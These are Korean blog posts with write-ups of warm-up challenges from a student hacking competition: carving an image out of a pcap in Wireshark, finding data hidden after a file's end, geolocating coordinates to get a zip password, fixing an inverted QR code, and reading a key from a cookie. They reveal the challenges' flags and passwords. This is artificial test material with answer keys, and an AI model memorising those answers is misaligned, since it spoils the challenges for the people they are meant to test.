어쩃거나.. 제 경험이 부족한거니 어쩔수 없이 생각하고 문제를 풀어봅시다.


일단 pcap 파일은 와이어 샤크라는 패킷 캡쳐및 분석 툴에서 분석이 가능합니다.


저는 와이어 샤크를 이용해서 문제를 풀어보겠습니다.




처음 와이어 샤크 패킷을 캡쳐한 것을 불러왔습니다.


사실 이것은 약간 노하우가 있긴 하지만 말로 설명하기엔 좀 그러니까


여러번 분석해보면 자신의 노하우가 생깁니다.


그런 노하우나 아니면 일일히 패킷을 대조하면서 수상한 패킷을 찾아 냅니다.



mfile.naver.com 의 서버에서 어떤 파일을 잡아냅니다.


그리고 힌트에서도 있는 heyman 입니다.


저것을 들어가 볼까요!? 이렇게나 쉽게 풀리다니..



이게 이미지 를 받아오는 부분입니다.



는 무슨 Access Denied 가 뜹니다.


하지만 방법이 있습니다.


pcap 는 패킷의 내용을 통채로 담고 있기 때문에, 저 jpg 파일은 pcap 안에 들어있는것과 마찬가지입니다.


그렇다면 추출을 할수 있다는것으로, 추출을 해야 합니다.





이런 순으로 export > objects > http 로 들어가신 다음




아까 이미지를 받아오는 부분의 패킷 넘버[캡쳐된 순서]를 찾아봅니다.


패킷 넘버는 15049 입니다.



역시나 heyman 파일이 존재합니다.


이제 저 파일을 save as 로 저장합니다.


확장자가 이상하게 되어있을테니 정확히 jpg 로 바꿔줍니다.




이쁜 손글씨와 함께


해커는 그곳으로 오라는 메세지를 남겼습니다.


제가 해맨곳은 바로 이곳입니다.


그곳.. 이라 하면 패킷을 조금더 뒤져봣지만 올림픽을 갓다오고, 아이유등 여러 아이돌을 검색한 흔적밖에 없어서


런던이라는 답을 제출 했지만 아니었습니다.


하지만 EOF 라는 힌트가 공개되고 감이 잡혔습니다.


end of file 이란 파일의 끝을 의미합니다.


그래서 설마 설마 했던 저 그림을 헥스 에디터로 보게 되었습니다.



아... 잘 보이시나요?


드래그 부분을 잘 살펴보세요


blog.naver.com/xlej1234


바로 저곳으로 접속해봅시다.



첨부 파일을 2개가 있는데 두개 모두 사진파일입니다.


그 사진파일 하나는 gif, jpg 인데


파일 하나씩 반씩 잘려있습니다.


그 두 파일을 함께 보면.




Password is I_want_to_have_girlfriend.


긴글 읽으시느라 수고하셨습니다.

신고

댓글 0


순천향대의 워밍업 2번입니다.


문제 :

Content

Downlod This File :p




주어진 파일은 3개입니다. 처음 navi.zip 으로 압축되어있던것을 풀었습니다.




동굴의 위치를 찾아라가 문제입니다.


그렇다면 왠지 위치를 알려주는 정보가 있을것입니다.


다른 파일을 봐야겠습니다.




위도 : 36.9886987 경도 : 128.3830274


의 값이 나와있습니다.


그러면 좌표주소를 입력하면 위치를 알수 있는 지도를 알아야합니다.


유일하게 지원하는 지도는 구글의 구글맵 입니다.


구글 맵에 36.9886987, 128.3830274 를 검색합니다.




그렇다면 고수동굴 이라는 동굴이 나왔습니다.


급한 마음에 이것을 인증하려고 했는데, 워밍업이라도 이렇게 쉬울까!? 해서 나머지 1개 파일인 압축 파일을 열기로 했습니다.





압축파일을 열었는데 왠걸 패스워드가 걸려있습니다.


압축파일 이름은 암호는 동굴 이름 이라고 적혀있는것으로 보아


아까 고수동굴은 이 문제2를 열기위한 암호였던것 입니다.




고수동굴을 그대로 영어로 입력합니다.


그러면 rhtnehdrnf 으로 입력됩니다.



이게 문제2 입니다.


아래 qr 코드만 찍으면 성공입니다.


하지만 찍어도 안찍히길래 뭔가 이상했습니다.


일반적인 qr 코드가 아닌겁니다.



아마 다 같은 생각을 했을겁니다. ㅋㅋ


그래서 정상적인 qr 코드를 만들기 위해서 약간의 작업이 필요 합니다.



그림판으로 그림을 불러오고, ctrl a 로 영역을 모두 설정합니다.





그 다음 색 반전을 누르면



우리가 원하는 대로 qr코드가 제대로 완성이 되었습니다.




QR코드를 스캔하면


Key is Ar3_Y0u_Tr34sur3_Hunt3e!?



신고

댓글 0


안녕하세요 sweetchip입니다.


이번에 정보보호 페스티벌에서 26위를 하게 되었네요.


10위 안에 들어야 본선인데 생각보다 지난 인하대학교 화이트 해커 경진대회보다는 문제를 많이 풀게 되었습니다.


그만큼 실력도 늘었지만, 아직은 많이 부족하다고 느끼고 있습니다.


풀었던 문제를 다시 리뷰 하기 위해 문제 풀이를 작성하겠습니다.


가장 간단한 워밍업 1번입니다.


문제 :


Content
"시작은 미미하지만 그 끝은 창대하리라"

안녕하세요~ 첫문제는 간단하게 가볼까요?

소스를 보세요! :D



역시 워밍업 1번 답습니다.


간단하게 소스를 봅니다.




17번째 줄에 인증키를 얻으려면 쿠키를 보세요.


지금 당장 쿠키를 보러 달려갑시다.


인터넷 익스플로러에선 cooxie 툴바를 이용해서 볼수도 있습니다만


저는 스니퍼를 이용해서 날라가는 쿠키를 보도록 하겠습니다.





날라가는 쿠키에 AuthKey 가 있습니다. 눈치가 있다면 이게 바로 정답이라는걸 알것입니다.


Key is Welc0me_t0_Y1SF_GoodD4Y

신고

댓글 0